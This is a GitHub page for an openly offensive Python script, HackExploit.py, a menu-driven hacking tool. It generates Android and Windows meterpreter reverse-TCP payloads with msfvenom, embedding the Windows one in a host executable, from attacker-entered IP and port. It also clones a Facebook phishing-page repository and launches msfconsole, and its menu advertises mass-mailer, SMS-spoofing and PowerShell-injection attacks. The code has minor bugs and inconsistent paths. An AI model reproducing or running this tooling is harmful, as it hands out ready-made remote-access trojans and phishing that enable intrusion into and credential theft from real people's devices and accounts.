-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathHackExploit.py
More file actions
349 lines (281 loc) · 7.07 KB
/
Copy pathHackExploit.py
File metadata and controls
349 lines (281 loc) · 7.07 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
import os
import subprocess
import time
import sys
"""
class fg:
black='\033[30m'
red='\033[31m'
green='\033[32m'
orange='\033[33m'
blue='\033[34m'
purple='\033[35m'
cyan='\033[36m'
lightgrey='\033[37m'
darkgrey='\033[90m'
lightred='\033[91m'
lightgreen='\033[92m'
yellow='\033[93m'
lightblue='\033[94m'
pink='\033[95m'
lightcyan='\033[96m'
"""
"""
*
***
*****
*****
Function to change directory
*****
*****
***
*
"""
def changedirectory(DirectoryName):
os.chdir(DirectoryName);
"""
*
***
*****
*****
Function to Rightinput
*****
*****
***
*
"""
def Rightinput(datatype,newline,color):
if datatype=="int()":
while True:
try:
intinput=int(input());
return intinput;
break;
except:
print("\033[31m : .error input integer value \033[93m*");
continue;
elif(datatype=="int()" and breakline=="\n" ):
while True:
try:
intinput=int(input(breakline));
return intinput;
break;
except:
print("\033[31m : .error input integer value \033[93m*");
continue;
"""
*
***
*****
*****
Function to forlder in directory and return ~~||True ~~||False||~~
*****
*****
***
*
"""
def Checkof(Directory,FName):
listdirectory=os.listdir(Directory);
if(FName in listdirectory):
return True;
else:
return False;
"""
*
***
*****
*****
Function to creat a forder in actual directory ok
*****
*****
***
*
"""
def Makefolder(Directory,FName):
if(Checkof(Directory,FName)==False):
os.mkdir(Directory+str("/"+FName));
"""
*
***
*****
*****
Function For rotate cursor "\\|/-" like msfconsole
*****
*****
***
*
"""
def rotate(Massage="Massage",Time=0.2,Repeat=5):
Cursor_R="\\|/-";
while(Repeat>=0):
for charactors in Cursor_R:
time.sleep(Time);
sys.stdout.write("\r{}{}".format(Massage,charactors));
sys.stdout.flush();
Repeat=Repeat-1;
"""
*
***
*****
*****
Function to return ip port;
*****
*****
***
*
"""
def ipport():
Ip=input("\n\nIp: ");
while True:
try:
Port=int(input("\033[32mPort: "));
return Ip,Port;
break;
except:
print("\033[31m : .error input integer value \033[93m*");
"""
*
***
*****
*****
Function to git clone with url and folder
*****
*****
***
*
"""
def gitownload(Url,Location):
print("\033[90m\n");
print("#"*50);
print("\033[90m#### choose download path\t ####");
print("#"*50);
print("\033[36m1.) Download as default directory");
print("\033[36m2.) {}".format("/sdcard/Aruqam/.zip"));
option=Rightinput("int()","\n","none");
#ifing.....
if(option==1):
print("\033[96mDownloading...")
os.system("sleep 2");
print("$git clone "+str(Url));
os.system("git clone "+str(Url));
print("\nDownloaded phishing-page as:~{}".format(os.getcwd()));
"""
elifing..... option2
"""
if(option==2):
cwddir=os.getcwd();
os.chdir("/sdcard/Arquam");
print("\033[96mDownloading...")
os.system("sleep 2");
print("$git clone "+str(Url));
os.system("git clone "+str(Url));
print("\nDownloaded phishing-page as:~{}".format(os.getcwd()));
os.chdir(cwddir);
"""
*
***
*****
*****
Function to Home option here
*****
*****
***
*
"""
def Homeoption():
print("\033[33 __ ");
print('\033[33m .- -.');
print("\033[31m / \ ");
print();
print("\033[32m |, .-. .-. ,| ");
print("\033[31m | )(_ / \_ )( | ");
print(" |/ /\ \| ");
print('\033[32m <__ ^^ __>');
print("\033[32m \__|IIIIII|__/");
print();
print("\033[31m \ IIIIII / ");
print("\033[31m -------- " );
print("\033[31m _ ");
print("\n\n\n\033[33m");
rotate("continue...",0.2,4);
print("\033[33m::::::::::::"*5);
print("\033[33m::::::::::::"*5);
print("\033[32m:::[1]\033[31m Payload (android)");
print("\033[32m:::[2]\033[31m Payload (iphone)")
print("\033[32m:::[3]\033[31m Payload (windows)")
print("\033[32m:::[4]\033[31m Phishing page(facebook)")
print("\033[32m:::[5]\033[31m launch wifit\033[93m* ")
print("\033[32m:::[6]\033[31m Mass Mailer Attack")
print("\033[32m:::[7]\033[31m Powershell Attack Vectors")
print("\033[32m:::[8]\033[31m SMS Spoofing Attack Vector")
print("\033[32m:::[9]\033[31m Custom Exploits")
print("\033[32m:::[10]\033[31m SCCM Attack Vector")
print("\033[32m:::[11]\033[31m PSEXEC Powershell Injection")
print("\033[32m:::[12]\033[31m Help, Credits, and About")
print("\033[32m:::[13]\033[31m Update SET configuration")
print("\033[32m:::[14]\033[31m msfconsole\033[93m*")
print("\033[32m:::[15]\033[31m Exit")
print("\033[33m::::::::::::"*5);
print("\033[33m::::::::::::"*5);
inputoption=Rightinput("int()","None","Red");
"""
android payload
option1
"""
if(inputoption==1):
print("\t\t*************************")
print("\t\t Android Payload")
print("\t\t*************************");
Ip,Port=ipport();
command="msfvenom -p android/meterpreter/reverse_tcp LHOST="+str(Ip)+" LPORT="+str(Port)+" R> /sdcard/Arquam/Hack.apk";
print("generating payload...");
os.system("sleep 3")
print(command);
os.system(command);
"""
windows payload
option 3
"""
elif(inputoption==3):
print("\033[32m\n\t\t*************************")
print("\t\t Windows Payload")
print("\t\t*************************")
print("\n\033[31m░░░░░▄▄▀▀▀▀▀▀▀▀▀▄▄░░░░░ ");
print("░░░░█░░░░░░░░░░░░░█░░░░") ;
print("░░░█░░░░░░░░░░▄▄▄░░█░░░ ");
print("░░░█░░▄▄▄░░▄░░███░░█░░░ ");
print("░░░▄█░▄░░░▀▀▀░░░▄░█▄░░░ ");
print("░░░█░░▀█▀█▀█▀█▀█▀░░█░░░ ");
print("░░░▄██▄▄▀▀▀▀▀▀▀▄▄██▄░░░ ");
print("░▄█░█▀▀█▀▀▀█▀▀▀█▀▀█░█▄░ ");
Ip,Port=ipport();
command="msfvenom -x base.exe -k -p windows/meterpreter/reverse_tcp LHOST="+str(Ip)+" LPORT="+str(Port)+" -f exe > /sdcard/Arquam/Hack.exe";
print("generating payload...");
os.system("sleep 3");
print(command)
os.system(command);
elif(inputoption==4):
print("\033[32m\n\t\t*************************")
print("\t\t FB phishing page")
print("\t\t*************************")
gitownload("https://github.com/ArquamGenius/phishingpage",28);
if(inputoption==14):
rotate("msfconsole",0.2,3)
os.system("msfconsole");
"""
___________________________
#########FUNCTIONS#########
--------------------------
---------------------------
1.)Checkof(path,folder name)
2.)Makefolder(path,folder name)
3.)Homeoption() with dangerous logo
4.)Rightinput(datatype)
5.)rotate(massage,changeTime,repeatation)
"""
if __name__=="__main__":
def main():
Makefolder("/sdcard","Arquam");
#option input
Homeoption();
main()